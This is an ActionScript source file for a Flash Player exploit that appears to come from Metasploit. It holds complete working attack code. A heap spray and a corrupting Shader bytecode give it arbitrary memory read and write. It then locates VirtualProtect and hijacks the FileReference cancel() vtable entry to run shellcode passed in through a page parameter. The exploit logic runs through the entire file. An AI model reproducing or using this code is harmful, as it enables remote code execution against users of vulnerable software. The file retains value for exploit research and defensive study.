//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf package { import flash.display.Sprite; import flash.utils.ByteArray; import flash.display.Shader; import flash.system.Capabilities; import flash.net.FileReference; import flash.utils.Endian; import __AS3__.vec.Vector; import __AS3__.vec.*; import flash.display.LoaderInfo; public class Graph extends Sprite { static var counter:uint = 0; protected var Shad:Class; var shellcode_byte_array:ByteArray; var aaab:ByteArray; var shellcodeObj:Array; public function Graph(){ var tweaked_vector:* = undefined; var tweaked_vector_address:* = undefined; var shader:Shader; var flash_memory_protect:Array; var code_vectors:Array; var address_code_vector:uint; var address_shellcode_byte_array:uint; this.Shad = Graph_Shad; super(); shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(","); var i:* = 0; var j:* = 0; // Just one try counter++; if (counter > 1) { return; }; // Memory massage var array_length:uint = 0x10000; var vector_size:uint = 34; var array:Array = new Array(); i = 0; while (i < array_length) { array[i] = new Vector.(1); i++; }; i = 0; while (i < array_length) { array[i] = new Vector.(vector_size); i++; }; i = 0; while (i < array_length) { array[i].length = 0; i++; }; i = 0x0200; while (i < array_length) { array[(i - (2 * (j % 2)))].length = 0x0100; i = (i + 28); j++; }; // Overflow and Search for corrupted vector var corrupted_vector_idx:uint; var shadba:ByteArray = (new this.Shad() as ByteArray); shadba.position = 232; if (Capabilities.os.indexOf("Windows 8") >= 0) { shadba.writeUnsignedInt(2472); }; shadba.position = 0; while (1) { shader = new Shader(); try { shader.byteCode = (new this.Shad() as ByteArray); } catch(e) { }; i = 0; while (i < array_length) { if (array[i].length > 0x0100) { corrupted_vector_idx = i; break; }; i++; }; if (i != array_length) { if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break; }; array.push(new Vector.(vector_size)); }; // Tweak the vector following the corrupted one array[corrupted_vector_idx][vector_size] = 0x40000001; tweaked_vector = array[(corrupted_vector_idx + 1)]; // repair the corrupted vector by restoring its // vector object pointer and length var vector_obj_addr:* = tweaked_vector[0x3fffffff]; tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr; tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size; i = 0; var val:uint; while (true) { val = tweaked_vector[(0x40000000 - i)]; if (val == 0x90001B) break; i++; }; tweaked_vector_address = 0; if (tweaked_vector[((0x40000000 - i) - 4)] > 0) { tweaked_vector[4] = 0x41414141; tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8); }; // More memory massage, fill an array of FileReference objects var file_reference_array:Array = new Array(); i = 0; while (i < 64) { file_reference_array[i] = new FileReference(); i++; }; var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address); var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20)); var do_it:Boolean = true; var memory_protect_ptr:uint; var aaaq:uint; if (do_it) { flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address); memory_protect_ptr = flash_memory_protect[0]; aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment code_vectors = this.createCodeVectors(0x45454545, 0x90909090); address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545); this.fillCodeVectors(code_vectors); tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call tweaked_vector[4] = aaaq; tweaked_vector[0] = 0x1000; // Length tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address // 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=???????? this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8)); // 1) Set memory as executable i = 0; while (i < 64) { file_reference_array[i].cancel(); i++; }; // 2) Execute shellcode tweaked_vector[7] = address_code_vector; i = 0; while (i < 64) { file_reference_array[i].cancel(); i++; }; // Restore FileReference cancel function pointer // Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address); }; } // returns the integer at memory address // vector: vector with tweaked length // vector_address: vector's memory address // address: memory address to read function read_memory(vector:Vector., vector_address:uint, address:uint):uint{ if (address >= vector_address) { return (vector[((address - vector_address) / 4)]); }; return (vector[(0x40000000 - ((vector_address - address) / 4))]); } function write_memory(vector:Vector., vector_address:uint, address:uint, value:uint){ if (address >= vector_address) { vector[((address - vector_address) / 4)] = value; } else { vector[(0x40000000 - ((vector_address - address) / 4))] = value; }; } function findFlashMemoryProtect(vector:*, vector_address:*):Array{ var content:uint; var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c)); var index:uint; var memory_protect_ptr:uint; var _local_6:uint; if (allocation >= vector_address) { index = ((allocation - vector_address) / 4); } else { index = (0x40000000 - ((vector_address - allocation) / 4)); }; //push 1 ; 6a 01 //push dword ptr [eax-8] ; ff 70 f8 //push dword ptr [eax-4] ; ff 70 fc //call sub_1059DD00 // Will do VirtualProtect var offset:uint; while (1) { index--; content = vector[index]; if (content == 0xfff870ff) { offset = 2; break; }; if (content == 0xf870ff01) { offset = 1; break; }; if (content == 0x70ff016a) { content = vector[(index + 1)]; if (content == 0xfc70fff8) { offset = 0; break; }; } else { if (content == 0x70fff870) { offset = 3; break; }; }; }; memory_protect_ptr = ((vector_address + (4 * index)) - offset); index--; var content_before:uint = vector[index]; if (content_before == 0x16a0424) { return ([memory_protect_ptr, _local_6]); }; if (content_before == 0x6a042444) { return ([memory_protect_ptr, _local_6]); }; if (content_before == 0x424448b) { return ([memory_protect_ptr, _local_6]); }; if (content_before == 0xff016a04) { return ([memory_protect_ptr, _local_6]); }; _local_6 = (memory_protect_ptr - 6); while (1) { index--; content = vector[index]; if (content == 0x850ff50) { if (uint(vector[(index + 1)]) == 0x5e0cc483) { offset = 0; break; }; }; content = (content & 0xFFFFFF00); if (content == 0x50FF5000) { if (uint(vector[(index + 1)]) == 0xcc48308) { offset = 1; break; }; }; content = (content & 0xFFFF0000); if (content == 0xFF500000) { if (uint(vector[(index + 1)]) == 0xc4830850) { if (uint(vector[(index + 2)]) == 0xc35d5e0c) { offset = 2; break; }; }; }; content = (content & 0xFF000000); if (content == 0x50000000) { if (uint(vector[(index + 1)]) == 0x830850ff) { if (uint(vector[(index + 2)]) == 0x5d5e0cc4) { offset = 3; break; }; }; }; }; memory_protect_ptr = ((vector_address + (4 * index)) + offset); return ([memory_protect_ptr, _local_6]); } // vector: vector with tweaked length // address: memory address of vector data function find_file_ref_vtable(vector:*, address:*):uint{ var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c)); // Find an allocation of size 0x2a0 var allocation_size:uint; while (true) { allocation_size = this.read_memory(vector, address, (allocation + 8)); if (allocation_size == 0x2a0) break; if (allocation_size < 0x2a0) { allocation = (allocation + 0x24); // next allocation } else { allocation = (allocation - 0x24); // prior allocation }; }; var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc)); while (true) { if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break; if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break; allocation_contents = this.read_memory(vector, address, (allocation_contents + 8)); }; return (allocation_contents); } // Returns pointer to the nops in one of the allocated code vectors function findCodeVector(vector:*, vector_address:*, mark:*):uint{ var allocation_size:uint; var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c)); while (true) { allocation_size = this.read_memory(vector, vector_address, (allocation + 8)); if (allocation_size == 0x7f0) break; // Code Vector found allocation = (allocation + 0x24); // next allocation }; // allocation contents should be the vector code, search for the mark 0x45454545 var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc)); while (true) { if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break; allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation }; return ((allocation_contents + 0x2c)); } // create 8 vectors of size 0x7f0 inside an array to place shellcode function createCodeVectors(mark:uint, nops:uint){ var code_vectors_array:Array = new Array(); var i:* = 0; while (i < 8) { code_vectors_array[i] = new Vector.(((0x7f0 / 4) - 8)); // new Vector.(0x1f4) code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4 code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4 i++; }; return (code_vectors_array); } // Fill with the code vectors with the shellcode function fillCodeVectors(array_code_vectors:Array) { var i:uint = 0; var sh:uint=1; while(i < array_code_vectors.length) { for(var u:String in shellcodeObj) { array_code_vectors[i][sh++] = Number(shellcodeObj[u]); } i++; sh = 1; } } } }//package